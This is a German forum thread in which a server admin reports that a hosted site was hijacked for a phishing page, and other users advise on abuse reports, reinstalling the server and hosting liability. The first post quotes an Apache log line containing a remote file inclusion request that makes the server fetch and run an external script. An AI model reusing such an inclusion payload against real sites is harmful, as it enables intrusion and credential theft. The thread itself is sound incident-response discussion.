Phishing Seite installiert ....

[dukepyrolator]

Hallo,

hab vorhin eine Mail von der 1&1 Abuse-Abteilung bekommen. (hab meinen Server bei 1&1 stehen)

Auf einer Seite eines Freundes, die bei mir gehostet wird, wurde eine Phishing Seite (Login-Seite von "Canada Trust") installiert.

Ausgenutzt wurde eine seit 2005 bekannte Lücke in einem CMS, das er auf seinem Webspace installiert hat. (angeblich hat er die neueste Version drauf ... das muss ich später noch mal in Ruhe prüfen)

"Installiert" wurde das Ganze heute morgen so zwischen 08:30 und 09:05. Ich habe in diesem Zeitraum eine Menge Einträge im Apache Logfile und auch einige Dateien, die zu der Phishing Seite gehören, wurden in diesem Zeitraum erstellt.

82.128.18.187 - - [25/Feb/2008:08:34:17 +0100] "GET //index.php?option=com_expos
e&Itemid=&mosConfig_absolute_path=http://www.citoyennete-active.org/mambots/cont
ent/rfi.txt? HTTP/1.1" 200 5603 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en
-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"

http://www.citoyennete-active.org/mambo ... nt/rfi.txt <-- dieses Script wurde anscheinend auf meinem Server ausgeführt ... habs mir noch nicht komplett angeschaut - wenn jemand Lust hat kann er ja mal schauen ob er was damit anfangen kann. ;)

Die gesnifften Zugangsdaten gehen per Mail an "djgame1983@gmail.com" und "manager_employ@sify.com" Hat es Sinn da irgendwas zu unternehmen bezüglich Abuse-Meldung oder so?

Hab schon nach anderen Dateien gesucht, die in diesem Zeitrum erstellt/geändert wurden, aber nichts gefunden. Rein theoretisch müsste ich meinen Server trotzdem komplett neu installieren, um auf Nummer sicher zu gehen ...

Wie ist das eigentlich rechtlich? Ist man als Serverbetreiber verpflichtet, bei allen seinen Usern jede einzelne Datei regelmässig anzuschauen und zu prüfen ob da irgendwelche Sicherheitslöcher sind?
Wer übernimmt die Haftung wenn es zu finanziellen Schäden kommt? (z.Bsp. durch ausgehende DoS-Angriffe)


Grüße
DukePyrolator

[Roger Wilco]

Die gesnifften Zugangsdaten gehen per Mail an "djgame1983@gmail.com" und "manager_employ@sify.com" Hat es Sinn da irgendwas zu unternehmen bezüglich Abuse-Meldung oder so?

Meldungen an die jeweilige Abuse-Abteilung ist immer sinnvoll. Egal, ob die konkret etwas unternehmen oder nicht. Ich würde eine kurze Meldung mit den nötigen Informationen hinschreiben. Kostet dich keine 5 Minuten und die E-Mail-Konten werden evtl. dicht gemacht.

Rein theoretisch müsste ich meinen Server trotzdem komplett neu installieren, um auf Nummer sicher zu gehen ...

Nicht nur rein theoretisch.

Wie ist das eigentlich rechtlich? Ist man als Serverbetreiber verpflichtet, bei allen seinen Usern jede einzelne Datei regelmässig anzuschauen und zu prüfen ob da irgendwelche Sicherheitslöcher sind?
Wer übernimmt die Haftung wenn es zu finanziellen Schäden kommt? (z.Bsp. durch ausgehende DoS-Angriffe)

IANAL: Zunächst wird der Serverbetreiber zur Verantwortung gezogen. Du kannst dann danach deine User zur Rechenschaft ziehen, sofern du einen entsprechenden Vertrag mit ihnen hast.

[Joe User]

Als Erstes bitte den Server unverändert abschalten!
Zum Abuse: Google wird garantiert handeln, sofern Du entsprechende unveränderte(!) Logauszüge mitschickst. Den anderen Verein kenne ich nicht, sollte aber ebenfalls inklusive Logs benachrichtigt werden.
Ansonsten Full ACK zu Roger Wilco.
Desweiteren ist Phisching nichts, was man mal eben unter Tisch fallen lassen kann, also inklusive Logs zur nächsten Kripo und die Festplatte durch Deinen Anbieter für weitere Ermittlungen der Behörden sichern lassen.
Erst danach die Kiste neu aufsetzen...

[daemotron]

Wie ist das eigentlich rechtlich? Ist man als Serverbetreiber verpflichtet, bei allen seinen Usern jede einzelne Datei regelmässig anzuschauen und zu prüfen ob da irgendwelche Sicherheitslöcher sind?

IANAL, aber das ist eines der eher dünneren Eise, auf denen man sich als Admin so bewegt. Wenn Du keinen Service-Vertrag hast (à la ich prüfe/warte die Applikationen für den Kunden), kann es sogar ein Rechtsverstoß sein, wenn Du zu intensiv in den Daten Deiner Kunden herumstocherst. Andererseits trägst Du als Admin die volle Verantwortung für den Server. Wenn es um zivilrechtliche Belange geht, kannst Du zwar versuchen, den entstandenen Schaden (z. B. durch eine Schadenersatzklage gegen Dich als Betreiber) durch eine Zivilklage deinerseits von Deinem Kunden ersetzen zu lassen. Ein strafrechtliches Verfahren kannst Du aber nicht einfach "durchreichen", wobei ein solches gegen Dich doch eher unwahrscheinlich ist, da Du ja den Kunden als natürliche oder juristische Person benennen kannst.

Ich begegne diesem Dilemma, indem ich einerseits durch technische Mittel dafür sorge, dass eine außer Rand und Band geratene Webapplikation nicht allzu viel Mist anrichten kann (Reverse Proxy, Jail, das übliche eben) - und andererseits alle gewünschten Applikationen selbst installiere (was für echtes Shared Hosting natürlich nicht praktikabel ist, aber gegen die großen Massenhoster kann und will ich auch nicht anstinken). Außerdem behalte ich mir vor, installierte Skripte zu prüfen und im Zweifelsfall einzelne Skripte zu deaktivieren (Archivierung in /dev/null :twisted: ) oder sogar den Account zu sperren. Mit Applikationen hatte ich bisher keine Schwierigkeiten, dafür aber mit Extensions - dass die auch Löcher in eigentlich sichere Anwendungen reißen können, soweit denken die meisten Halbwissenden leider nicht :roll: